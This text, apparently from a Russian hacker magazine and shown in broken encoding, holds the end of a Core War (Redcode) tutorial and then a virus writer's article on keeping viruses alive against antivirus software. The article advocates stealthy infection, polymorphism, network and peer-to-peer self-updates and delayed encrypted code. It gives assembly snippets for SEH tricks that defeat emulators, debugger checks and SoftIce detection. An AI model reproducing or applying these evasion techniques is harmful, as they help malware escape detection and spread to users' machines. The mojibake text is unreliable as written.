MOV 0, 1 ; çäåñü âûñàäèëñÿ Èìï
MOV 0, 1
MOV 0, -1 ; çäåñü áûëà ëîâóøêà

; <---

Íà ïÿòûé öèêë Èìï ïûòàåòñÿ âûïîë-
íèòü äàííûå è ïîãèáàåò. Ïîáåäà!

ÀÄÂÀÍÑÅÄ
Êàê ÿ óæå ãîâîðèë, èçó÷èâ òåõíè-

êè Imp, Dwarf è ImpGate, ìîæíî ñ÷è-
òàòü, ÷òî áàçîâûé êóðñ Redcode è
CoreWar ïðîéäåí. Íî ïîìíèøü, ÿ ãî-
âîðèë, ÷òî ìíîãèå ïðîãðàììû òàê èëè
èíà÷å èñïîëüçóþò ïðèíöèïû ðàáîòû
Èìïà, è äàæå íàçûâàë îäíó èç òàêèõ
òàêòèê - "Êîëüöî"? Òåì, êòî äî÷èòàë
äî ýòîãî ìåñòà, ÿ ðàññêàæó îá ýòîì
ñàìîì "Êîëüöå". È åñëè Èìï, Äâàðô
è Èìïîëîâêà áûëè ïðîñòî îáó÷àþ-
ùèìè ïðîãðàììàìè, òî ImpRing - íàñ-
òîÿùèé áîåâîé ìîäóëü.

Íîâàÿ êîìàíäà - SPL. "SPL A" ïåðåäà-
åò óïðàâëåíèå íà àäðåñ A (â òî÷íîñòè
êàê JMP A), íî ïðè ýòîì ïðîäîëæàåò
âûïîëíåíèå ñëåäóþùåé èíñòðóêöèè.
Òàêèì îáðàçîì êîìàíäà SPL (ñîêðà-
ùåíèå îò Split - ðàñùåïèòü, ðàçäå-
ëèòü) ñîçäàåò íîâûé ïðîöåññ. Âîò ìû
è äîáðàëèñü äî ïðîãðàìì ñî ìíîãèìè
ïðîöåññàìè! Êëàññè÷åñêèé ïðèìåð, íà
êîòîðîì îáû÷íî îáúÿñíÿþò ïðèíöèï
ðàáîòû SPL, âûãëÿäèò òàê:

SPL 0 ; <---
MOV 0, 1

Êîìàíäà SPL ïåðåäàåò óïðàâëåíèå
íà ñåáÿ, íî îäíîâðåìåííî ñîçäàåò
âòîðîé ïðîöåññ íà êîìàíäå MOV.
Çäåñü ó òåáÿ ìîæåò âîçíèêíóòü âîï-
ðîñ: êàê pMARS ïðîâîäèò áîé, åñëè
îäíà ïðîãðàììà èìååò äâà ïðîöåññà,
à äðóãàÿ - îäèí? Â òàêîì ñëó÷àå õî-
äû áóäóò ÷åðåäîâàòüñÿ ñëåäóþùèì
îáðàçîì:

- ïðîãðàììà 1, ïðîöåññ 1
- ïðîãðàììà 2, ïðîöåññ 1
- ïðîãðàììà 1, ïðîöåññ 2 »



- ïðîãðàììà 2, ïðîöåññ 1
- ïðîãðàììà 1, ïðîöåññ 1
- ïðîãðàììà 2, ïðîöåññ 1
- ïðîãðàììà 1, ïðîöåññ 2

Ò.å. áîëüøå â äàííîì ñëó÷àå íå çíà-
÷èò ëó÷øå. Âîçâðàùàåìñÿ ê íàøåìó
ïðèìåðó. Òåïåðü íàì ïîíàäîáÿòñÿ äâå
ñòðåëêè :).

SPL 0 ; <--- 2-îé ïðîöåññ
MOV 0, 1 ; <--- 1-ûé ïðîöåññ

Çàìåòü, ÷òî ïðîöåññ, ñîçäàííûé SPL,
ñòàíîâèòñÿ âòîðûì ïðîöåññîì, à íå
ïåðâûì.

SPL 0 ; 3-èé ïðîöåññ
MOV 0, 1 ; 2-îé ïðîöåññ
MOV 0, 1 ; 1-ûé ïðîöåññ

Îïÿòü æå, îáðàòè âíèìàíèå, ÷òî ïðî-
öåññû, ñîçäàâàåìûå SPL, ïîìåùàþò-
ñÿ â êîíåö òàê íàçûâàåìîé "î÷åðåäè
ïðîöåññîâ". Ïðèâåäåííàÿ ïðîãðàììà
áóäåò ñîçäàâàòü íîâûé ïðîöåññ ñ Èì-
ïîì êàæäûé ðàç, êîãäà î÷åðåäü äîé-
äåò äî ïðîöåññà, â êîòîðîì âûïîëíÿ-
åòñÿ êîìàíäà "SPL 0". Òåïåðü, ðàçîá-
ðàâøèñü ñ ïðîöåññàìè, ìîæíî ïðèñ-
òóïàòü ê ðàññìîòðåíèþ òåõíèêè
ImpRing. Ñóùåñòâóåò íåñêîëüêî ðàç-
ëè÷íûõ âàðèàíòîâ ýòîãî ìåòîäà, íî
ìû ðàññìîòðèì îäèí èç ñàìûõ ïðîñ-
òûõ, êîòîðûé èñïîëüçîâàë À.Èâíåð â
ñâîåì "Òðåçóáöå":

JMP imp-2666
start SPL -1
; <--- 1-ûé ïðîöåññ

SPL imp+2667
imp  MOV 0, 2667

Â ýòîì ïðèìåðå ïåðâûé ðàç çà âñþ
ñòàòüþ èñïîëüçóþòñÿ ìåòêè - çäåñü
áåç íèõ íå îáîéòèñü. Ìåòêà imp ââåäå-
íà èñêëþ÷èòåëüíî äëÿ óäîáñòâà îáú-
ÿñíåíèÿ, à âîò îáîçíà÷åíèå start íå-
îáõîäèìî, ÷òîáû óêàçàòü òî÷êó âõîäà
â ïðîãðàììó. Áóäåò íåìíîãî çàïóòàí-
íî, íî ÷òî ïîäåëàåøü?

Êîìàíäà SPL ðàçáèâàåò ïåðâûé ïðî-
öåññ íà äâà: âòîðûì ñòàíîâèòñÿ
èíñòðóêöèÿ, ñëåäóþùàÿ çà SPL, à
òðåòüèì - èíñòðóêöèÿ, íà êîòîðóþ óêà-
çûâàåò îïåðàíä SPL:

JMP imp-2666 ; <--- 3
start SPL -1

SPL imp+2667 ; <--- 2
imp  MOV 0, 2667

Âûïîëíÿåòñÿ åùå îäíà êîìàíäà SPL:
âòîðîé ïðîöåññ ðàçáèâàåòñÿ íà ÷åò-
âåðòûé è ïÿòûé, ïðè÷åì ïÿòûé íàõî-
äèòñÿ àæ ÷åðåç 2667 èíñòðóêöèé
ïîñëå ìåòêè imp. Çàìåòü òàêæå, ÷òî
ïÿòûé ïðîöåññ ñåé÷àñ íàõîäèòñÿ â
÷èñòîì ïîëå. Åñëè ìû íå óñïååì ïîñ-
òàâèòü íà åãî ïóòè êîìàíäó, îí ïî-
ãèáíåò!

JMP imp-2666
; <--- 3
start SPL -1

SPL imp+2667 
imp  MOV 0, 2667
; <--- 4

�
�

imp+2667:
DAT #0, #0

; <--- 5

Âûïîëíÿåòñÿ êîìàíäà JMP, ñîçäàâàÿ
ïðîöåññ ¹6:

imp-2666:
DAT #0, #0

; <--- 6
�
�

JMP imp-2666
start SPL -1

SPL imp+2667 
imp  MOV 0, 2667
; <--- 4

�
�

imp+2667:
DAT #0, #0

; <--- 5

Âûïîëíÿåòñÿ ÷åòâåðòûé ïðîöåññ -
MOV êîïèðóåò ñåáÿ ïî àäðåñó
imp+2667. Åñëè áû ìû ýòîãî íå ñäåëà-
ëè, ñëåäóþùèì õîäîì ïðîöåññ ¹5 âû-
ïîëíèë áû DAT #0, #0 è ïîãèá!

imp-2666:
DAT #0, #0

; <--- 6
�
�

JMP imp-2666
start SPL -1

SPL imp+2667 
imp  MOV 0, 2667

�
; <--- 7

�
imp+2667:

MOV 0, 2667
; <--- 5

Òû ïîìíèøü, ÷òî êîíöû ïîëÿ áîÿ
çàìêíóòû? Ïðîöåññ ¹5 êîïèðóåò êî-
ìàíäó MOV íà 2667 èíñòðóêöèé äàëü-
øå ñåáÿ, à ôàêòè÷åñêè, ïî àäðåñó imp-
2666, ò.å. êàê ðàç ïî àäðåñó ïðîöåññà
6, êîòîðûé äîëæåí âûïîëíÿòüñÿ ñëå-
äóþùèì! Òåïåðü ïîíÿòíî, ïî÷åìó
âûáðàíû èìåííî òàêèå öèôðû
(2666+2777+2777=8000)?

imp-2666:
MOV 0, 2667

; <--- 6
�
�

JMP imp-2666
start SPL -1

SPL imp+2667 
imp  MOV 0, 2667

�
; <--- 7

�
imp+2667:

MOV 0, 2667
�

; <--- 8

Ïðîöåññ ¹6 êîïèðóåò MOV ïî àäðå-
ñó ïðîöåññà ¹7, òîò, â ñâîþ î÷å-
ðåäü, êîïèðóåò MOV ïî àäðåñó ïðî-
öåññà ¹8 è ò.ä. Âñå, êîëüöî çàïóùå-
íî! Òåïåðü ïî ïîëþ áîÿ ìåäëåííî,
íî íåóìîëèìî äâèæóòñÿ òðè Èìïà! Ê
òîìó æå, "Êîëüöî" ëèøåíî ãëàâíîãî
íåäîñòàòêà îáû÷íîãî Èìïà - íåñïî-
ñîáíîñòè óáèòü âðàãà! Ïî÷åìó? Ïîì-
íèøü, ÿ ãîâîðèë îá "î÷åðåäè ïðî-
öåññîâ"? Åñëè âðàã èìååò îäèí ïðî-
öåññ ïðîòèâ íàøèõ òðåõ, ïðîèñõîäèò
ñëåäóþùåå: ImpRing ïåðåïèñûâàåò
âðàãà èíñòðóêöèåé MOV, âðàã ñâîèì
õîäîì âûïîëíÿåò åå è ïîïàäàåò íà
DAT #0, #0, "Êîëüöî" âûïîëíÿåò
MOV - ñëåäóþùèì õîäîì îíî çàïè-
øåò íà ìåñòî DAT #0, #0 êîìàíäó
"MOV 0, 2667", õîäèò âðàã è âûïîë-
íÿåò èíñòðóêöèþ DAT. Ò.å. ìåäëåí-
íîå "Êîëüöî" ïðîñòî íå óñïåâàåò
ïîäñòàâèòü îäíîïðîöåññíîìó ïðî-
òèâíèêó êîìàíäó! Åñëè ýòî ïëîõî
âîñïðèíèìàåòñÿ íà ñëîâàõ, âîçüìè
êàðàíäàø è áóìàæêó è ðàçûãðàé
áîé ImpRing'à è Wait'à - âñå ñðàçó
ñòàíîâèòñÿ íà ñâîè ìåñòà.

×ÒÎ ÄÀËÜØÅ?
Òû ïîçíàêîìèëñÿ ñ íåñêîëüêèìè

ðàñïðîñòðàíåííûìè òåõíèêàìè è îñ-
âîèë íà÷àëà Redcode. Ñ ýòèìè çíàíè-
ÿìè óæå ìîæíî ïûòàòüñÿ ïèñàòü
ñîáñòâåííûõ áîéöîâ, ëèáî ïðèäóìû-
âàÿ ñîâåðøåííî íîâûå ñòðàòåãèè,
ëèáî êîìáèíèðóÿ ñòàðûå ïðèåìû. Òû
âèäåë, êàêèõ äëèííûõ îáúÿñíåíèé
ïîòðåáîâàëà ïðîãðàììà èç ÷åòûðåõ
ñòðîê (ImpRing), à ïðåäñòàâü, ÷òî
åñòü áîéöû, ãëÿäÿ íà êîä êîòîðûõ,
òåðÿþòñÿ äàæå áûâàëûå àññåìáëåð-
ùèêè. À êàêèå êðàñèâûå è èçîùðåí-
íûå ïðèåìû áûëè èçîáðåòåíû çà
äâàäöàòü ëåò! ×åãî òîëüêî ñòîÿò Âàì-
ïèðû, êîòîðûå ðàñêèäûâàþò íà ïîëå
áîÿ ëîâóøêè-JMP'û, ïðèâîäÿùèå
ñâîèõ æåðòâ ïðÿìî â ðóêè ãóáèòåëÿ!
Òàê ÷òî ðàçáèðàéñÿ â ïðåìóäðîñòÿõ
Redcode - êàê çíàòü, ìîæåò, åùå äîæ-
äåìñÿ ICWS'2004 è ñîéäåìñÿ â áîþ
íà êóñêå ïàìÿòè âåëè÷èíîé âîñåìü
òûñÿ÷ èíñòðóêöèé.

P.S. ß äàþ âñåãî îäíó ññûëêó, íî òàì
òû íàéäåøü âñå, ÷òî òåáå íóæíî:
http://directory.google.com/Top/Game
s/Video_Games/Simulation/Programmi
ng_Games/Core_War/ A
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Âîò îíî - Êîëüöî Èìïîâ!





Ìíîãèå âè-
ðóñîïèñàòå-
ëè ëþáÿò
âñòàâëÿòü â
ñâîè òâîðå-
íèÿ êðàñî÷-
íûå ýôôåê-
òû, êàðòèí-
êè, íàäïèñè,
à èíîãäà
ïðîñòî
äåñòðóêòèâ-
íûå ôóíê-
öèè. Îíè íå
ïîíèìàþò,
÷òî ýòèì
ïðîñòî óêî-
ðà÷èâàþò
èì æèçíü. ô

Íà ðàñïðî-
ñòðàíåíèå
âèðóñà òðå-
áóåòñÿ êà-
êîå-òî âðå-
ìÿ. Íà íà-
ïèñàíèå
"ëå÷èëêè"
äëÿ âèðóñà
òàêæå íóæ-
íî âðåìÿ.
Ïðè÷åì ÷åì
ìåíüøå
ïåðâîå âðå-
ìÿ, è áîëü-
øå âòîðîå -
òåì ëó÷øå.

Ñåé÷àñ, åñ-
ëè âèðóñ íå
ÿâëÿåòñÿ
ïîëèìîðô-
íûì, åãî
øàíñû âû-
æèòü ðàâíû
íóëþ.

Ýäàéí Ãõýëëàõ

Àíòèâèðóñ - âðàã êàæäîãî âèðóñîïèñàòåëÿ, ïî îïðåäåëåíèþ. Ìû ñîçäàåì âèðóñû, îíè íàõîäÿò è óáèâàþò èõ. Âèðóñîïèñà-
òåëè ñîçäàþò âñå áîëåå è áîëåå ñëîæíûå âèðóñû, à àíòèâèðóñíèêè - âñå áîëåå è áîëåå ñîâåðøåíñòâóþò ñâîè ïðîäóêòû.

Ýòà ïîñòîÿííàÿ ãîíêà âåäåò ê óñëîæíåíèþ òåõíîëîãèé. Ñåé÷àñ, åñëè âèðóñ íå ÿâëÿåòñÿ ïîëèìîðôíûì, åãî øàíñû âûæèòü
ðàâíû íóëþ. Âèðóñàì íåîáõîäèìî çàùèùàòüñÿ. Ýòà ñòàòüÿ - ïîïûòêà îïèñàòü è îáîáùèòü ñïîñîáû âûæèâàíèÿ âèðóñîâ.

ÁÎÐÜÁÀ 
ÇÀ ÂÛÆÈÂÀÍÈÅ
ÑÏÎÑÎÁÛ ÇÀÙÈÒÛ ÎÒ ÀÍÒÈÂÈÐÓÑÎÂ

ÎÑÍÎÂÍÛÅ 
ÏÐÈÍÖÈÏÛ

Íà ðàñïðîñòðàíå-
íèå âèðóñà òðåáóåòñÿ
êàêîå-òî âðåìÿ. Íà íà-

ïèñàíèå "ëå÷èëêè" äëÿ âèðóñà òàêæå
íóæíî âðåìÿ. Ïðè÷åì, ÷åì ìåíüøå
ïåðâîå âðåìÿ è áîëüøå âòîðîå, òåì
ëó÷øå (äëÿ âèðóñîïèñàòåëåé, êîíå÷-
íî). Íà ýòîì îñíîâûâàþòñÿ âñå ïðèå-
ìû çàùèòû. Ñóùåñòâóåò ìíîæåñòâî
âèäîâ çàùèò âèðóñîâ, íî îïòèìàëü-
íîé ñòîïðîöåíòíîé çàùèòû íå ñóùå-
ñòâóåò, è âîîáùå, ñêîëüêî âèðóñîïè-
ñàòåëåé - ñòîëüêî è ìíåíèé íà ýòîò
ñ÷åò. ß ïîñòàðàþñü âûäåëèòü ñàìûå
îñíîâíûå âèäû è êàê-òî èõ êëàññèôè-
öèðîâàòü.

Çàùèòà ìîæåò áûòü äâóõ âèäîâ: àê-
òèâíàÿ è ïàññèâíàÿ. Ê ïàññèâíîé çà-
ùèòå ìîæíî îòíåñòè ïðèíöèïû ñëîæ-
íîñòè è íåçàìåòíîñòè. Ê àêòèâíîé -
ðàçëè÷íûå ìåõàíèçìû îáíîâëåíèÿ ÷å-
ðåç Ñåòü. Òàêæå àêòèâíûì ñïîñîáîì
ÿâëÿþòñÿ ïðèåìû çàùèòû îò îòëàä÷è-
êîâ è äèçàññåìáëåðîâ, êîòîðûå áóäóò
ðàññìîòðåíû â êîíöå ñòàòüè. Åñòü åùå
îäíà êëàññèôèêàöèÿ çàùèò - ïî ýòà-
ïàì. Âðåìÿ æèçíè âèðóñà ìîæíî óñ-
ëîâíî ðàçäåëèòü íà ñëåäóþùèå ýòàïû:
1. Ðàñïðîñòðàíåíèå âèðóñà.
2. Ïîïàäàíèå â àíòèâèðóñíóþ êîí-

òîðó.
3. Âûïóñê àíòèâèðóñà.
Çàùèòà ïðèíöèïèàëüíî îòëè÷àåòñÿ

íà êàæäîì ýòàïå.

ÐÀÑÏÐÎÑÒÐÀÍÅÍÈÅ ÂÈÐÓÑÀ
Ãëàâíîå ïðàâèëî âûæèâàíèÿ íà

ýòîì ýòàïå - íåçàìåòíîñòü. Ìíîãèå âè-
ðóñîïèñàòåëè ëþáÿò âñòàâëÿòü â ñâîè
òâîðåíèÿ êðàñî÷íûå ýôôåêòû, êàð-
òèíêè, íàäïèñè, à èíîãäà ïðîñòî äåñò-
ðóêòèâíûå ôóíêöèè. Îíè íå ïîíèìà-
þò, ÷òî ýòèì óêîðà÷èâàþò èì æèçíü.
Íåîáõîäèìî ïðèìåíÿòü ðàçëè÷íûå

ñïîñîáû ñîêðûòèÿ âèðóñà â ñèñòåìå,
åñëè îí ðåçèäåíòåí. Èíîãäà î÷åíü ýô-
ôåêòèâíû ïðîñòûå îãðàíè÷åíèÿ íà
çàðàæàåìûå ñèñòåìû: óñòàíîâëåí
SoftIce - íå çàðàæàòü, óñòàíîâëåí AVP
- íå çàðàæàòü è ò.ä. Êîíå÷íî, òàê ìíî-
ãèå êîìïüþòåðû ïðîñòî íå áóäóò çàðà-
æåíû. Íî çàòî è âèðóñ ïî÷òè íàâåðíÿ-
êà íå áóäåò îáíàðóæåí. Åùå ëó÷øå
ñäåëàòü òàêèå îãðàíè÷åíèÿ âðåìåííû-
ìè. Ê ïðèìåðó, ïðîõîäèò ìåñÿö, âèðóñ
çàðàçèë áîëüøîå êîëè÷åñòâî ìàøèí,
íî ëèøü ïðîñòûõ ïîëüçîâàòåëåé, íå
áåñïîêîÿùèõñÿ î áåçîïàñíîñòè, ïîòîì
âñå îãðàíè÷åíèÿ ñíèìàþòñÿ, è âèðóñ
íà÷èíàåò ïîëíîöåííî ðàçìíîæàòüñÿ,
íî óæå íå ñ îäíîé ìàøèíû, êàê â íà-
÷àëå, à ñ íåñêîëüêèõ òûñÿ÷.

ÏÎÏÀÄÀÍÈÅ 
Â ÀÍÒÈÂÈÐÓÑÍÓÞ ÊÎÍÒÎÐÓ

Ðàíî èëè ïîçäíî âèðóñ áóäåò îá-
íàðóæåí, è êàêîé-íèáóäü îñîáî "óì-
íûé" ïîëüçîâàòåëü îòîøëåò åãî àíòè-
âèðóñíèêó. Òåïåðü èãðà èäåò íà ìèíó-
òû, ÷åì äîëüøå àíòèâèðóñíèê ðàçáè-
ðàåòñÿ â àëãîðèòìå âèðóñà, òåì áîëü-

øå è áîëüøå ðàñïðîñòðàíÿåòñÿ âèðóñ.
Ãëàâíûé ïðèíöèï çàùèòû íà ýòîì ýòà-
ïå - ñëîæíîñòü. Ïðîñòåéøèé âèðóñ áó-
äåò îïðåäåëåí ñ ïîìîùüþ ýâðèñòè-
÷åñêîãî àíàëèçà åùå íà ïåðâîì ýòàïå.
Õîðîøèé ïîëèìîðôíûé âèðóñ ïîòðå-
áóåò íåñêîëüêèõ ÷àñîâ ðàáîòû ñïåöè-
àëèñòîâ èç àíòèâèðóñíîé êîíòîðû.
Àíàëèç ñëîæíîãî ïåðìóòèðóåùåãî âè-
ðóñà ìîæåò çàíÿòü íåñêîëüêî äíåé.

ÂÛÏÓÑÊ ÀÍÒÈÂÈÐÓÑÀ
Äàæå íà ýòîé ñòàäèè åñòü ñïîñî-

áû âûæèòü. Íàèáîëåå ïîïóëÿðíîå
ðåøåíèå - îáíîâëåíèå ÷åðåç Ñåòü.
Âèðóñ ïðîñòî ñêà÷èâàåò ñâîþ îá-
íîâëåííóþ (è íå äåòåêòèðóåìóþ)
âåðñèþ èç èíòåðíåòà è ïðîäîëæàåò
ðàñïðîñòðàíåíèå. Âîò òîëüêî ñàéòû,
ñ êîòîðûõ ñêà÷èâàþòñÿ îáíîâëåíèÿ,
î÷åíü áûñòðî çàêðûâàþò. Ëó÷øå èñ-
ïîëüçîâàòü ÷òî-òî äðóãîå, íàïðèìåð
peer-to-peer ñåòè. Åñòü åùå îäèí,
ìàëîèçâåñòíûé, íî õîðîøèé ñïîñîá
- èñïîëüçîâàíèå delayed code. Ñïî-
ñîá çàêëþ÷àåòñÿ â òîì, ÷òî íåêàÿ
÷àñòü âèðóñà çàøèôðîâàíà. Âî âðå-
ìÿ ñâîåé ðàáîòû âèðóñ ïåðåáèðàåò
êëþ÷è, ïûòàÿñü ðàñøèôðîâàòü ýòîò

êîä. Äîïóñòèì, ÷åðåç ìåñÿö îí, íà-
êîíåö, ðàñøèôðîâûâàåò êîä, âèðóñ
ìåíÿåòñÿ, è âñå àíòèâèðóñû äðóæíî
èäóò íà ôèã. Êîíå÷íî, àíòèâèðóñíè-
êè ìîãóò äîñòàòü ñóïåðêîìïüþòåð è
ïî-áûñòðîìó ðàñøèôðîâàòü êîä, íî
ãäå òû âèäåë ñóïåðêîìïüþòåðû â
ñâîáîäíîì äîñòóïå?

»
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Õîðîøèé âèðü çàíèìàåò ìàëî!

Íåîáõîäèìî ïðèìåíÿòü ðàçëè÷íûå 
ñïîñîáû ñîêðûòèÿ âèðóñà â ñèñòåìå, 

åñëè îí ðåçèäåíòåí.



Âèðóñû è
àíòèâèðóñû
- äâå ñòîðî-
íû îäíîé
ìåäàëè. È
íå áóäåò
îäíîãî áåç
äðóãîãî.

ÊÀÊ ÐÀÁÎÒÀÅÒ ÀÍÒÈÂÈÐÓÑ
Ïðàêòè÷åñêè íåâîçìîæíî íàïè-

ñàòü çàùèùåííûé âèðóñ, íå ïîíèìàÿ,
êàê ðàáîòàåò àíòèâèðóñ. Ýòî íåîáõî-
äèìî, åñëè òû íå õî÷åøü, ÷òîáû òâîé
âèðóñ îïðåäåëÿëñÿ àíòèâèðîì ñðàçó
æå ïîñëå íàïèñàíèÿ. Íà ñàìîì äåëå,
áîëüøèíñòâî âèðóñíûõ òåõíîëîãèé,
òàêèõ, êàê ïîëèìîðôèçì, ìåòàìîð-
ôèçì èëè UEP, ïîÿâèëèñü áëàãîäàðÿ
áîðüáå ñ àíòèâèðóñàìè. Çàäà÷à àíòè-
âèðóñà îïðåäåëèòü, ñîäåðæèò ëè ïðîã-
ðàììà âèðóñ. Ïî ìåðå ïðîâåðêè ïðîã-
ðàììû, åñëè àíòèâèðóñ íàõîäèò õàðàê-
òåðíûå ïðèçíàêè âèðóñà, îí óâåëè÷è-
âàåò íåêóþ ïåðåìåííóþ. Ïðè äîñòè-
æåíèè ýòîé ïåðåìåííîé óñòàíîâëåí-
íîãî êðèòè÷åñêîãî çíà÷åíèÿ ñ÷èòàåò-
ñÿ, ÷òî ôàéë çàðàæåí.

Îñíîâíûì ñïîñîáîì äåòåêòèðîâàíèÿ
âèðóñîâ ÿâëÿåòñÿ ïðîâåðêà ñ ïî-
ìîùüþ ñèãíàòóð. Ñèãíàòóðà - ýòî ïîñ-
òîÿííûé êóñîê êîäà, õàðàêòåðíûé äëÿ
âèðóñà, íî íå õàðàêòåðíûé äëÿ îáû÷-
íîé ïðîãðàììû. Ýòî îñíîâíîé ñïîñîá
äåòåêòèðîâàíèÿ âèðóñîâ åùå ñî âðå-
ìåí ÄÎÑà. Êàê çàùèòà îò ýòîãî áûë
ïðèäóìàí ïîëèìîðôèçì. Òåëî âèðóñà
øèôðóåòñÿ ïåðåìåííûì êëþ÷îì, è
ðàñøèôðîâùèê êàæäûé ðàç ìåíÿåòñÿ.
Â èäåàëå - ýòî ïîëíîöåííàÿ çàùèòà îò
àíòèâèðóñîâ. Íà ïðàêòèêå æå ÷àñòî
ïëîõîé ïîëèìîðôíûé ðàñøèôðîâùèê
ñàì ïî ñåáå ÿâëÿåòñÿ ñèãíàòóðîé. Òåì
íå ìåíåå, äåòåêòèðîâàòü âèðóñû ñòàëî
ñëîæíåå, è àíòèâèðóñíèêàì ïðèøëîñü
ïðèäóìûâàòü ÷òî-òî íîâîå. È ýòèì íî-
âûì ñòàëà ýìóëÿöèÿ êîäà.

Êàê òîëüêî àíòèâèðóñ íàòûêàåòñÿ íà
êîä, ïîäîçðèòåëüíî ïîõîæèé íà ðàñ-
øèôðîâùèê, îí íà÷èíàåò îäíó çà äðó-
ãîé âûïîëíÿòü èíñòðóêöèè, ýìóëèðóÿ
ðàáîòó ïðîöåññîðà. Â ïðîöåññå ÷åãî çà-
øèôðîâàííûé êîä ñòàíîâèòñÿ ðàñ-
øèôðîâàííûì, à âèðóñ îáíàðóæåí-
íûì. Âñå ýòî áûëî áû î÷åíü íåïðèÿòíî,
åñëè áû íå êðèâûå ðóêè ïðîãðàììèñòîâ
àíòèâèðóñíûõ êîíòîð. Ýòîò ýìóëÿòîð íå
ïîíèìàåò íè èíñòðóêöèé ñîïðîöåññîðà,
íè âûçîâîâ API ôóíêöèé, íè óæ òåì áî-
ëåå êîíñòðóêöèè SEH, è ëþáîé õîòü
íåìíîãî óâàæàþùèé ñåáÿ âèðóñ ñîäåð-
æèò êàê ìèíèìóì ïàðî÷êó òðþêîâ, ñáè-
âàþùèõ ýìóëÿòîð ñ òîëêó.

Ñîâðåìåííûå àíòèâèðóñû çíàþò ìíî-
æåñòâî ñïîñîáîâ äåòåêòèðîâàíèÿ âèðó-
ñîâ. Ò.ê. ïîèñê äîëæåí ïðîèçâîäèòüñÿ
áûñòðî, îíè íå ïðîâåðÿþò êàæäûé
ôàéë, à èñïîëüçóþò òàê íàçûâàåìûå
ìàñêè îòáîðà. Ñíà÷àëà îòáðàñûâàþòñÿ
âñå íåèñïîëíÿåìûå ôàéëû, ïîòîì ôàé-
ëû, êîòîðûå íå ìîãóò áûòü çàðàæåíû (ê
ïðèìåðó, èç-çà ðàçìåðà). Äàëåå ïðîèç-
âîäèòñÿ ñðàâíåíèå ïî áàçå ñèãíàòóð.

Åñëè îáíàðóæåí ïîëèìîðôíûé èëè
ìåòàìîðôíûé âèðóñ, òî îí ïðîâåðÿåòñÿ

íà ìíîæåñòâî èíñòðóêöèé. Ïðèíöèï
ïðîñò - ïîëèìîðôíûå ãåíåðàòîðû íåñî-
âåðøåííû è ãåíåðèðóþò äàëåêî íå âåñü
âîçìîæíûé íàáîð èíñòðóêöèé. Èñõîäÿ
èç ýòîãî è îïðåäåëÿåòñÿ êîíêðåòíûé
âèðóñ. Ê ïðèìåðó, åñëè âèðóñ
Win32.ExampleVir íèêîãäà íå ãåíåðèðó-
åò äåøèôðîâùèê ñ îïêîäîì pushad, à â
ïðîâåðÿåìîì ôàéëå îí åñòü, ñëåäîâà-
òåëüíî, ýòî êàêîé-òî äðóãîé âèðóñ. Äàí-
íûé ñïîñîá äåòåêòèðîâàíèÿ îñíîâàí íà
íåñîâåðøåíñòâå âèðóñîâ, òàê ÷òî äîñòà-
òî÷íî íåìíîãî ëó÷øå ñãåíåðèðîâàòü
ïîëèìîðôíûé äåøèôðîâùèê â ñâîåì
âèðóñå, ÷òîáû ñâåñòè íà íåò âñå ïîïûò-
êè àíòèâèðóñîâ. Êîíå÷íî, ýòî ñëîæíî,
íî êòî ãîâîðèë, ÷òî áóäåò ëåãêî?

ÏÐÀÊÒÈÊÀ. ANTI*-TRICKS
Êîãäà âèðóñ ïîïàäàåò â àíòèâè-

ðóñíóþ êîíòîðó, åãî íà÷èíàþò ìó÷èòü
âñåìè âîçìîæíûìè ñïîñîáàìè. Åãî îò-
ëàæèâàþò, äèçàññåìáëèðóþò, íàòðàâ-
ëèâàþò åìó êó÷ó ìàëåíüêèõ ôàéëîâ-
ïðèìàíîê è åùå ìíîãî âñåãî. Ïîãîâî-
ðèì î òîì, êàê çàùèòèòü âèðóñ îò ïî-
äîáíûõ èçäåâàòåëüñòâ.

Èñïîëüçîâàíèå SEH - îäèí èç ëó÷-
øèõ è óíèâåðñàëüíûõ ñïîñîáîâ. Âî-
ïåðâûõ, ýìóëÿòîð àíòèâèðóñà íà òà-
êîì êîäå îáëàìûâàåòñÿ, âî-âòîðûõ,
îòëàä÷èêè òîæå îáëàìûâàþòñÿ, ïðè-
÷åì âñå. Êàê òû çíàåøü, SEH - ñòðóê-
òóðíûé îáðàáîò÷èê îøèáîê. Ìû ìî-
æåì íàçíà÷èòü ñâîé îáðàáîò÷èê, è
ïðè âîçíèêíîâåíèè ëþáîé îøèáêè îí
áóäåò âûçâàí. Óäîáíî êîíå÷íî, íî
ñìûñë ñïîñîáà íå â ýòîì.

ß ïðèâåäó ïðèìåð, è òû ñàì ïîé-
ìåøü:

call .init_seh
mov esp,[esp+8]
pop dword [fs:0]
pop eax

; çäåñü êîä âèðóñà

.init_seh:
push dword [fs:0]
mov [fs:0],esp

xor ebx,ebx
div ebx ; âûçûâàåì îøèáêó

×åëîâåêó, êîíå÷íî, ïîíÿòíî, ÷òî ïðè
âîçíèêíîâåíèè îøèáêè óïðàâëåíèå
ïåðåäàåòñÿ íà êîä âèðóñà, êîòîðûé
âûïîëíÿåò çäåñü ðîëü SEH-îáðàáîò-

÷èêà, íî âîò ýìóëÿòîðó èëè îòëàä÷èêó
äî òàêîãî ïîíèìàíèÿ îé êàê äàëåêî.

Ìîæíî îïðåäåëÿòü íàëè÷èå îòëàä-
÷èêà "ëåãàëüíûì" ñïîñîáîì. Äëÿ ýòî-
ãî ñóùåñòâóåò ñîîòâåòñòâóþùàÿ API
ôóíêöèÿ - isDebuggerPresent. Ïðèìå-
íÿòü åå ïðîñòî:

call isDebuggerPresent
or eax,eax
jnz _we_under_debug

Ýòîò ìåòîä ïðåêðàñíî ðàáîòàåò äëÿ
WDasm èëè OllyDbg, íî, êîíå÷íî æå,
îí áåñïîëåçåí â áîðüáå ñ SoftIce'îì.

Ìîæíî î÷åíü ëåãêî îïðåäåëèòü, óñ-
òàíîâëåí ëè â ñèñòåìå SoftIce (è òàê

æå ëåãêî ýòî îáîéòè). Äîñòàòî÷íî ïîï-
ðîáîâàòü îòêðûòü äðàéâåð àéñà. Èìÿ
äðàéâåðà: SICE, SIWVID äëÿ Win9x,
NTICE äëÿ WinNT.

sice9x db '\\.\SICE'
...
push sice9x
call [CreateFileA]
cmp eax,-1
jne SoftICE_Detected

Åñëè îòêðûòèå áûëî óñïåøíûì - çíà-
÷èò, SoftIce óñòàíîâëåí. Ïàðàëëåëüíî
ìîæíî èñêàòü ïîäîçðèòåëüíûå çàïèñè
â ðååñòðå -
HKEY_LOCAL_MACHINE\Software\NuM
ega\SoftICE, è ôàéëû, òèïà loader32
èëè sivwid.386. Äëÿ îáìàíà äèçàññåìá-
ëåðîâ òàêæå åñòü íåñêîëüêî ïðèåìîâ.
